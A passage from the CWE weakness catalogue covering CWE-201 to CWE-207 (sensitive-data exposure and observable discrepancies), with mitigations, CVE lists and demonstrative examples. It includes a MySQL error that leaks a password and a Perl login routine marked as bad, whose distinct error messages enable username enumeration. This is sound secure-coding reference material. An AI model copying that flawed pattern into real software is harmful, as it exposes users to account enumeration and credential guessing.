The code transmits data to another actor, but a portion of the data includes sensitive information that should not be accessible to that actor.

### Extended Description

Sensitive information could include data that is sensitive in and of itself (such as credentials or private messages), or otherwise useful in the further exploitation of the system (such as internal file system structure).

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		200	Exposure of Sensitive Information to an Unauthorized Actor	484

Nature	Type	ID	Name	Page
ParentOf	V	598	Use of GET Request Method With Sensitive Query Strings	1262
CanAlsoBe	V	202	Exposure of Sensitive Information Through Data Queries	495
CanAlsoBe	E	209	Generation of Error Message Containing Sensitive Information	510
CanFollow	E	212	Improper Removal of Sensitive Information Before Storage or Transfer	520
CanFollow	E	226	Sensitive Information in Resource Not Removed Before Reuse	536

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf	C	1015	Limit Access	2223

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	C	199	Information Management Errors	2104

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories Read Memory Read Application Data <i>Sensitive data may be exposed to attackers.</i>	

### Potential Mitigations

#### Phase: Requirements

Specify which data in the software should be regarded as sensitive. Consider which types of users should have access to which types of data.

#### Phase: Implementation

Ensure that any possibly sensitive data specified in the requirements is verified with designers to ensure that it is either a calculated risk or mitigated elsewhere. Any information that is not necessary to the functionality should be removed in order to lower both the overhead and the possibility of security sensitive data being sent.

#### Phase: System Configuration

Setup default error messages so that unexpected errors do not disclose sensitive information.

#### Phase: Architecture and Design

*Strategy = Separation of Privilege*

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.

### Demonstrative Examples

#### Example 1:

The following is an actual MySQL error statement:

Example Language: SQL

(Result)

```
Warning: mysql_pconnect(): Access denied for user: 'root@localhost' (Using password: N1nj4) in /usr/local/www/wi-data/includes/database.inc on line 4
```

The error clearly exposes the database credentials.

### Observed Examples

Reference	Description
<b>CVE-2022-0708</b>	Collaboration platform does not clear team emails in a response, allowing leak of email addresses <a href="https://www.cve.org/CVERecord?id=CVE-2022-0708">https://www.cve.org/CVERecord?id=CVE-2022-0708</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	963	SFP Secondary Cluster: Exposed Data	888	2193
MemberOf	<b>C</b>	1345	OWASP Top Ten 2021 Category A01:2021 - Broken Access Control	1344	2280

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Accidental leaking of sensitive information through sent data

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
12	Choosing Message Identifier
217	Exploiting Incorrectly Configured SSL/TLS
612	WiFi MAC Address Tracking
613	WiFi SSID Tracking
618	Cellular Broadcast Message Request
619	Signal Strength Tracking
621	Analysis of Packet Timing and Sizes
622	Electromagnetic Side-Channel Attack
623	Compromising Emanations Attack

### References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf> >.

## CWE-202: Exposure of Sensitive Information Through Data Queries

**Weakness ID** : 202

**Structure** : Simple

**Abstraction** : Variant

### Description

When trying to keep information confidential, an attacker can often infer some of the information by using statistics.

### Extended Description



In situations where data should not be tied to individual users, but a large number of users should be able to make queries that "scrub" the identity of users, it may be possible to get information about a user -- e.g., by specifying search terms that are known to be unique to that user.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1230	Exposure of Sensitive Information Through Metadata	1855

## Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

## Likelihood Of Exploit

Medium

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories Read Application Data  <i>Sensitive information may possibly be leaked through data queries accidentally.</i>	

## Potential Mitigations

### Phase: Architecture and Design

This is a complex topic. See the book *Translucent Databases* for a good discussion of best practices.

## Demonstrative Examples

### Example 1:

See the book *Translucent Databases* for examples.

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		967	SFP Secondary Cluster: State Disclosure	888	2197

## Notes

### Maintenance

The relationship between CWE-202 and CWE-612 needs to be investigated more closely, as they may be different descriptions of the same kind of problem. CWE-202 is also being considered for deprecation, as it is not clearly described and may have been misunderstood by CWE users. It could be argued that this issue is better covered by CAPEC; an attacker can utilize their data-query privileges to perform this kind of operation, and if the attacker should not be allowed to perform the operation - or if the sensitive data should not have been made accessible at all - then that is more appropriately classified as a separate CWE related to authorization (see the parent, CWE-1230).

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Accidental leaking of sensitive information through data queries

## References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf> >.

## CWE-203: Observable Discrepancy

**Weakness ID** : 203

**Structure** : Simple

**Abstraction** : Base

### Description

The product behaves differently or sends different responses under different circumstances in a way that is observable to an unauthorized actor, which exposes security-relevant information about the state of the product, such as whether a particular operation was successful or not.

### Extended Description

Discrepancies can take many forms, and variations may be detectable in timing, control flow, communications such as replies or requests, or general behavior. These discrepancies can reveal information about the product's operation or internal state to an unauthorized actor. In some cases, discrepancies can be used by attackers to form a side channel.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		200	Exposure of Sensitive Information to an Unauthorized Actor	484
ParentOf		204	Observable Response Discrepancy	501
ParentOf		205	Observable Behavioral Discrepancy	504
ParentOf		208	Observable Timing Discrepancy	508
ParentOf		1300	Improper Protection of Physical Side Channels	1996
ParentOf		1303	Non-Transparent Sharing of Microarchitectural Resources	2003

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf		200	Exposure of Sensitive Information to an Unauthorized Actor	484

*Relevant to the view "Hardware Design" (CWE-1194)*

Nature	Type	ID	Name	Page
ParentOf		1300	Improper Protection of Physical Side Channels	1996

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Technology** : Not Technology-Specific (*Prevalence = Undetermined*)

### Alternate Terms

**Side Channel Attack** : Observable Discrepancies are at the root of side channel attacks.

### Common Consequences

Scope	Impact	Likelihood
Confidentiality Access Control	Read Application Data Bypass Protection Mechanism	
	<i>An attacker can gain access to sensitive information about the system, including authentication information that may allow an attacker to gain access to the system.</i>	
Confidentiality	Read Application Data	
	<i>When cryptographic primitives are vulnerable to side-channel-attacks, this could be used to reveal unencrypted plaintext in the worst case.</i>	

### Potential Mitigations

#### Phase: Architecture and Design

*Strategy = Separation of Privilege*

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.

#### Phase: Implementation

Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success. If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.

### Demonstrative Examples

#### Example 1:

The following code checks validity of the supplied username and password and notifies the user of a successful or failed login.

*Example Language: Perl*

*(Bad)*

```
my $username=param('username');
my $password=param('password');
if (IsValidUsername($username) == 1)
{
  if (IsValidPassword($username, $password) == 1)
  {
    print "Login Successful";
  }
  else
  {
    print "Login Failed - incorrect password";
  }
}
else
{
```

```
print "Login Failed - unknown username";
}
```

In the above code, there are different messages for when an incorrect username is supplied, versus when the username is correct but the password is wrong. This difference enables a potential attacker to understand the state of the login function, and could allow an attacker to discover a valid username by trying different values until the incorrect password message is returned. In essence, this makes it easier for an attacker to obtain half of the necessary authentication credentials.

While this type of information may be helpful to a user, it is also useful to a potential attacker. In the above example, the message for both failed cases should be the same, such as:

*Example Language:*

*(Result)*

```
"Login Failed - incorrect username or password"
```

### Example 2:

Non-uniform processing time causes timing channel.

*Example Language:*

*(Bad)*

Suppose an algorithm for implementing an encryption routine works fine per se, but the time taken to output the result of the encryption routine depends on a relationship between the input plaintext and the key (e.g., suppose, if the plaintext is similar to the key, it would run very fast).

In the example above, an attacker may vary the inputs, then observe differences between processing times (since different plaintexts take different time). This could be used to infer information about the key.

*Example Language:*

*(Good)*

```
Artificial delays may be added to ensured all calculations take equal time to execute.
```

### Example 3:

Suppose memory access patterns for an encryption routine are dependent on the secret key.

An attacker can recover the key by knowing if specific memory locations have been accessed or not. The value stored at those memory locations is irrelevant. The encryption routine's memory accesses will affect the state of the processor cache. If cache resources are shared across contexts, after the encryption routine completes, an attacker in different execution context can discover which memory locations the routine accessed by measuring the time it takes for their own memory accesses to complete.

## Observed Examples

Reference	Description
<b>CVE-2020-8695</b>	Observable discrepancy in the RAPL interface for some Intel processors allows information disclosure. <a href="https://www.cve.org/CVERecord?id=CVE-2020-8695">https://www.cve.org/CVERecord?id=CVE-2020-8695</a>
<b>CVE-2002-2094</b>	This, and others, use ".." attacks and monitor error responses, so there is overlap with directory traversal. <a href="https://www.cve.org/CVERecord?id=CVE-2002-2094">https://www.cve.org/CVERecord?id=CVE-2002-2094</a>
<b>CVE-2001-1483</b>	Enumeration of valid usernames based on inconsistent responses <a href="https://www.cve.org/CVERecord?id=CVE-2001-1483">https://www.cve.org/CVERecord?id=CVE-2001-1483</a>
<b>CVE-2001-1528</b>	Account number enumeration via inconsistent responses. <a href="https://www.cve.org/CVERecord?id=CVE-2001-1528">https://www.cve.org/CVERecord?id=CVE-2001-1528</a>
<b>CVE-2004-2150</b>	User enumeration via discrepancies in error messages.

Reference	Description
	<a href="https://www.cve.org/CVERecord?id=CVE-2004-2150">https://www.cve.org/CVERecord?id=CVE-2004-2150</a>
<b>CVE-2005-1650</b>	User enumeration via discrepancies in error messages. <a href="https://www.cve.org/CVERecord?id=CVE-2005-1650">https://www.cve.org/CVERecord?id=CVE-2005-1650</a>
<b>CVE-2004-0294</b>	Bulletin Board displays different error messages when a user exists or not, which makes it easier for remote attackers to identify valid users and conduct a brute force password guessing attack. <a href="https://www.cve.org/CVERecord?id=CVE-2004-0294">https://www.cve.org/CVERecord?id=CVE-2004-0294</a>
<b>CVE-2004-0243</b>	Operating System, when direct remote login is disabled, displays a different message if the password is correct, which allows remote attackers to guess the password via brute force methods. <a href="https://www.cve.org/CVERecord?id=CVE-2004-0243">https://www.cve.org/CVERecord?id=CVE-2004-0243</a>
<b>CVE-2002-0514</b>	Product allows remote attackers to determine if a port is being filtered because the response packet TTL is different than the default TTL. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0514">https://www.cve.org/CVERecord?id=CVE-2002-0514</a>
<b>CVE-2002-0515</b>	Product sets a different TTL when a port is being filtered than when it is not being filtered, which allows remote attackers to identify filtered ports by comparing TTLs. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0515">https://www.cve.org/CVERecord?id=CVE-2002-0515</a>
<b>CVE-2002-0208</b>	Product modifies TCP/IP stack and ICMP error messages in unusual ways that show the product is in use. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0208">https://www.cve.org/CVERecord?id=CVE-2002-0208</a>
<b>CVE-2004-2252</b>	Behavioral infoleak by responding to SYN-FIN packets. <a href="https://www.cve.org/CVERecord?id=CVE-2004-2252">https://www.cve.org/CVERecord?id=CVE-2004-2252</a>
<b>CVE-2001-1387</b>	Product may generate different responses than specified by the administrator, possibly leading to an information leak. <a href="https://www.cve.org/CVERecord?id=CVE-2001-1387">https://www.cve.org/CVERecord?id=CVE-2001-1387</a>
<b>CVE-2004-0778</b>	Version control system allows remote attackers to determine the existence of arbitrary files and directories via the -X command for an alternate history file, which causes different error messages to be returned. <a href="https://www.cve.org/CVERecord?id=CVE-2004-0778">https://www.cve.org/CVERecord?id=CVE-2004-0778</a>
<b>CVE-2004-1428</b>	FTP server generates an error message if the user name does not exist instead of prompting for a password, which allows remote attackers to determine valid usernames. <a href="https://www.cve.org/CVERecord?id=CVE-2004-1428">https://www.cve.org/CVERecord?id=CVE-2004-1428</a>
<b>CVE-2003-0078</b>	SSL implementation does not perform a MAC computation if an incorrect block cipher padding is used, which causes an information leak (timing discrepancy) that may make it easier to launch cryptographic attacks that rely on distinguishing between padding and MAC verification errors, possibly leading to extraction of the original plaintext, aka the "Vaudenay timing attack." <a href="https://www.cve.org/CVERecord?id=CVE-2003-0078">https://www.cve.org/CVERecord?id=CVE-2003-0078</a>
<b>CVE-2000-1117</b>	Virtual machine allows malicious web site operators to determine the existence of files on the client by measuring delays in the execution of the getSystemResource method. <a href="https://www.cve.org/CVERecord?id=CVE-2000-1117">https://www.cve.org/CVERecord?id=CVE-2000-1117</a>
<b>CVE-2003-0637</b>	Product uses a shorter timeout for a non-existent user than a valid user, which makes it easier for remote attackers to guess usernames and conduct brute force password guessing. <a href="https://www.cve.org/CVERecord?id=CVE-2003-0637">https://www.cve.org/CVERecord?id=CVE-2003-0637</a>
<b>CVE-2003-0190</b>	Product immediately sends an error message when a user does not exist, which allows remote attackers to determine valid usernames via a timing attack. <a href="https://www.cve.org/CVERecord?id=CVE-2003-0190">https://www.cve.org/CVERecord?id=CVE-2003-0190</a>

Reference	Description
<b>CVE-2004-1602</b>	FTP server responds in a different amount of time when a given username exists, which allows remote attackers to identify valid usernames by timing the server response. <a href="https://www.cve.org/CVERecord?id=CVE-2004-1602">https://www.cve.org/CVERecord?id=CVE-2004-1602</a>
<b>CVE-2005-0918</b>	Browser allows remote attackers to determine the existence of arbitrary files by setting the src property to the target filename and using Javascript to determine if the web page immediately stops loading, which indicates whether the file exists or not. <a href="https://www.cve.org/CVERecord?id=CVE-2005-0918">https://www.cve.org/CVERecord?id=CVE-2005-0918</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf		717	OWASP Top Ten 2007 Category A6 - Information Leakage and Improper Error Handling		629 2125
MemberOf		728	OWASP Top Ten 2004 Category A7 - Improper Error Handling		711 2131
MemberOf		884	CWE Cross-section		884 2327
MemberOf		967	SFP Secondary Cluster: State Disclosure		888 2197
MemberOf		1205	Security Primitives and Cryptography Issues		1194 2266

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Discrepancy Information Leaks
OWASP Top Ten 2007	A6	CWE More Specific	Information Leakage and Improper Error Handling
OWASP Top Ten 2004	A7	CWE More Specific	Improper Error Handling

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
189	Black Box Reverse Engineering

## CWE-204: Observable Response Discrepancy

**Weakness ID** : 204

**Structure** : Simple

**Abstraction** : Base

### Description

The product provides different responses to incoming requests in a way that reveals internal state information to an unauthorized actor outside of the intended control sphere.

### Extended Description

This issue frequently occurs during authentication, where a difference in failed-login messages could allow an attacker to determine if the username is valid or not. These exposures can be inadvertent (bug) or intentional (design).

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to



similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	<b>E</b>	203	Observable Discrepancy	497

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	<b>C</b>	199	Information Management Errors	2104

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
Access Control	Bypass Protection Mechanism	

## Potential Mitigations

### Phase: Architecture and Design

*Strategy = Separation of Privilege*

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.

### Phase: Implementation

Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success. If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.

## Demonstrative Examples

### Example 1:

The following code checks validity of the supplied username and password and notifies the user of a successful or failed login.

*Example Language: Perl*

*(Bad)*

```
my $username=param('username');
my $password=param('password');
if (IsValidUsername($username) == 1)
{
    if (IsValidPassword($username, $password) == 1)
    {
        print "Login Successful";
    }
    else
    {
```

```

    print "Login Failed - incorrect password";
  }
}
else
{
  print "Login Failed - unknown username";
}

```

In the above code, there are different messages for when an incorrect username is supplied, versus when the username is correct but the password is wrong. This difference enables a potential attacker to understand the state of the login function, and could allow an attacker to discover a valid username by trying different values until the incorrect password message is returned. In essence, this makes it easier for an attacker to obtain half of the necessary authentication credentials.

While this type of information may be helpful to a user, it is also useful to a potential attacker. In the above example, the message for both failed cases should be the same, such as:

*Example Language:*

*(Result)*

```
"Login Failed - incorrect username or password"
```

### Observed Examples

Reference	Description
<b>CVE-2002-2094</b>	This, and others, use ".." attacks and monitor error responses, so there is overlap with directory traversal. <a href="https://www.cve.org/CVERecord?id=CVE-2002-2094">https://www.cve.org/CVERecord?id=CVE-2002-2094</a>
<b>CVE-2001-1483</b>	Enumeration of valid usernames based on inconsistent responses <a href="https://www.cve.org/CVERecord?id=CVE-2001-1483">https://www.cve.org/CVERecord?id=CVE-2001-1483</a>
<b>CVE-2001-1528</b>	Account number enumeration via inconsistent responses. <a href="https://www.cve.org/CVERecord?id=CVE-2001-1528">https://www.cve.org/CVERecord?id=CVE-2001-1528</a>
<b>CVE-2004-2150</b>	User enumeration via discrepancies in error messages. <a href="https://www.cve.org/CVERecord?id=CVE-2004-2150">https://www.cve.org/CVERecord?id=CVE-2004-2150</a>
<b>CVE-2005-1650</b>	User enumeration via discrepancies in error messages. <a href="https://www.cve.org/CVERecord?id=CVE-2005-1650">https://www.cve.org/CVERecord?id=CVE-2005-1650</a>
<b>CVE-2004-0294</b>	Bulletin Board displays different error messages when a user exists or not, which makes it easier for remote attackers to identify valid users and conduct a brute force password guessing attack. <a href="https://www.cve.org/CVERecord?id=CVE-2004-0294">https://www.cve.org/CVERecord?id=CVE-2004-0294</a>
<b>CVE-2004-0243</b>	Operating System, when direct remote login is disabled, displays a different message if the password is correct, which allows remote attackers to guess the password via brute force methods. <a href="https://www.cve.org/CVERecord?id=CVE-2004-0243">https://www.cve.org/CVERecord?id=CVE-2004-0243</a>
<b>CVE-2002-0514</b>	Product allows remote attackers to determine if a port is being filtered because the response packet TTL is different than the default TTL. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0514">https://www.cve.org/CVERecord?id=CVE-2002-0514</a>
<b>CVE-2002-0515</b>	Product sets a different TTL when a port is being filtered than when it is not being filtered, which allows remote attackers to identify filtered ports by comparing TTLs. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0515">https://www.cve.org/CVERecord?id=CVE-2002-0515</a>
<b>CVE-2001-1387</b>	Product may generate different responses than specified by the administrator, possibly leading to an information leak. <a href="https://www.cve.org/CVERecord?id=CVE-2001-1387">https://www.cve.org/CVERecord?id=CVE-2001-1387</a>
<b>CVE-2004-0778</b>	Version control system allows remote attackers to determine the existence of arbitrary files and directories via the -X command for an alternate history file, which causes different error messages to be returned.

Reference	Description
	<a href="https://www.cve.org/CVERecord?id=CVE-2004-0778">https://www.cve.org/CVERecord?id=CVE-2004-0778</a>
<b>CVE-2004-1428</b>	FTP server generates an error message if the user name does not exist instead of prompting for a password, which allows remote attackers to determine valid usernames. <a href="https://www.cve.org/CVERecord?id=CVE-2004-1428">https://www.cve.org/CVERecord?id=CVE-2004-1428</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	967	SFP Secondary Cluster: State Disclosure	888	2197

### Notes

#### Relationship

can overlap errors related to escalated privileges

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Response discrepancy infoleak

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
331	ICMP IP Total Length Field Probe
332	ICMP IP 'ID' Field Error Message Probe
541	Application Fingerprinting
580	System Footprinting

### References

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

## CWE-205: Observable Behavioral Discrepancy

**Weakness ID** : 205

**Structure** : Simple

**Abstraction** : Base

### Description

The product's behaviors indicate important differences that may be observed by unauthorized actors in a way that reveals (1) its internal state or decision process, or (2) differences from other products with equivalent functionality.





### Extended Description

Ideally, a product should provide as little information about its internal operations as possible. Otherwise, attackers could use knowledge of these internal operations to simplify or optimize their attack. In some cases, behavioral discrepancies can be used by attackers to form a side channel.


### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		203	Observable Discrepancy	497
ParentOf		206	Observable Internal Behavioral Discrepancy	505
ParentOf		207	Observable Behavioral Discrepancy With Equivalent Products	507
CanPrecede		514	Covert Channel	1151

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf		199	Information Management Errors	2104

**Applicable Platforms**

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Common Consequences**

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
Access Control	Bypass Protection Mechanism	

**Observed Examples**

Reference	Description
<b>CVE-2002-0208</b>	Product modifies TCP/IP stack and ICMP error messages in unusual ways that show the product is in use. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0208">https://www.cve.org/CVERecord?id=CVE-2002-0208</a>
<b>CVE-2004-2252</b>	Behavioral infoleak by responding to SYN-FIN packets. <a href="https://www.cve.org/CVERecord?id=CVE-2004-2252">https://www.cve.org/CVERecord?id=CVE-2004-2252</a>

**MemberOf Relationships**

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		967	SFP Secondary Cluster: State Disclosure	888	2197

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Behavioral Discrepancy Infoleak
WASC	45		Fingerprinting

**Related Attack Patterns**

CAPEC-ID	Attack Pattern Name
541	Application Fingerprinting
580	System Footprinting

**CWE-206: Observable Internal Behavioral Discrepancy**

**Weakness ID** : 206

**Structure** : Simple

**Abstraction** : Variant

**Description**

The product performs multiple behaviors that are combined to produce a single result, but the individual behaviors are observable separately in a way that allows attackers to reveal internal state or internal decision points.

### Extended Description

Ideally, a product should provide as little information as possible to an attacker. Any hints that the attacker may be making progress can then be used to simplify or optimize the attack. For example, in a login procedure that requires a username and password, ultimately there is only one decision: success or failure. However, internally, two separate actions are performed: determining if the username exists, and checking if the password is correct. If the product behaves differently based on whether the username exists or not, then the attacker only needs to concentrate on the password.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		205	Observable Behavioral Discrepancy	504

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
Access Control	Bypass Protection Mechanism	

### Potential Mitigations

Setup generic response pages for error conditions. The error page should not disclose information about the success or failure of a sensitive operation. For instance, the login page should not confirm that the login is correct and the password incorrect. The attacker who tries random account name may be able to guess some of them. Confirming that the account exists would make the login page more susceptible to brute force attack.

### Observed Examples

Reference	Description
<b>CVE-2002-2031</b>	File existence via infoleak monitoring whether "onerror" handler fires or not. <a href="https://www.cve.org/CVERecord?id=CVE-2002-2031">https://www.cve.org/CVERecord?id=CVE-2002-2031</a>
<b>CVE-2005-2025</b>	Valid groupname enumeration via behavioral infoleak (sends response if valid, doesn't respond if not). <a href="https://www.cve.org/CVERecord?id=CVE-2005-2025">https://www.cve.org/CVERecord?id=CVE-2005-2025</a>
<b>CVE-2001-1497</b>	Behavioral infoleak in GUI allows attackers to distinguish between alphanumeric and non-alphanumeric characters in a password, thus reducing the search space. <a href="https://www.cve.org/CVERecord?id=CVE-2001-1497">https://www.cve.org/CVERecord?id=CVE-2001-1497</a>
<b>CVE-2003-0190</b>	Product immediately sends an error message when user does not exist instead of waiting until the password is provided, allowing username enumeration. <a href="https://www.cve.org/CVERecord?id=CVE-2003-0190">https://www.cve.org/CVERecord?id=CVE-2003-0190</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf		967	SFP Secondary Cluster: State Disclosure	888	2197

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Internal behavioral inconsistency infoleak

## CWE-207: Observable Behavioral Discrepancy With Equivalent Products

**Weakness ID :** 207

**Structure :** Simple

**Abstraction :** Variant

### Description

The product operates in an environment in which its existence or specific identity should not be known, but it behaves differently than other products with equivalent functionality, in a way that is observable to an attacker.

### Extended Description

For many kinds of products, multiple products may be available that perform the same functionality, such as a web server, network interface, or intrusion detection system. Attackers often perform "fingerprinting," which uses discrepancies in order to identify which specific product is in use. Once the specific product has been identified, the attacks can be made more customized and efficient. Often, an organization might intentionally allow the specific product to be identifiable. However, in some environments, the ability to identify a distinct product is unacceptable, and it is expected that every product would behave in exactly the same way. In these more restricted environments, a behavioral difference might pose an unacceptable risk if it makes it easier to identify the product's vendor, model, configuration, version, etc.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		205	Observable Behavioral Discrepancy	504

### Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
Access Control	Bypass Protection Mechanism	

### Observed Examples



Reference	Description
<b>CVE-2002-0208</b>	Product modifies TCP/IP stack and ICMP error messages in unusual ways that show the product is in use. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0208">https://www.cve.org/CVERecord?id=CVE-2002-0208</a>
<b>CVE-2004-2252</b>	Behavioral infoleak by responding to SYN-FIN packets. <a href="https://www.cve.org/CVERecord?id=CVE-2004-2252">https://www.cve.org/CVERecord?id=CVE-2004-2252</a>
<b>CVE-2000-1142</b>	Honeybot generates an error with a "pwd" command in a particular directory, allowing attacker to know they are in a honeybot system. <a href="https://www.cve.org/CVERecord?id=CVE-2000-1142">https://www.cve.org/CVERecord?id=CVE-2000-1142</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	967	SFP Secondary Cluster: State Disclosure	888	2197

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
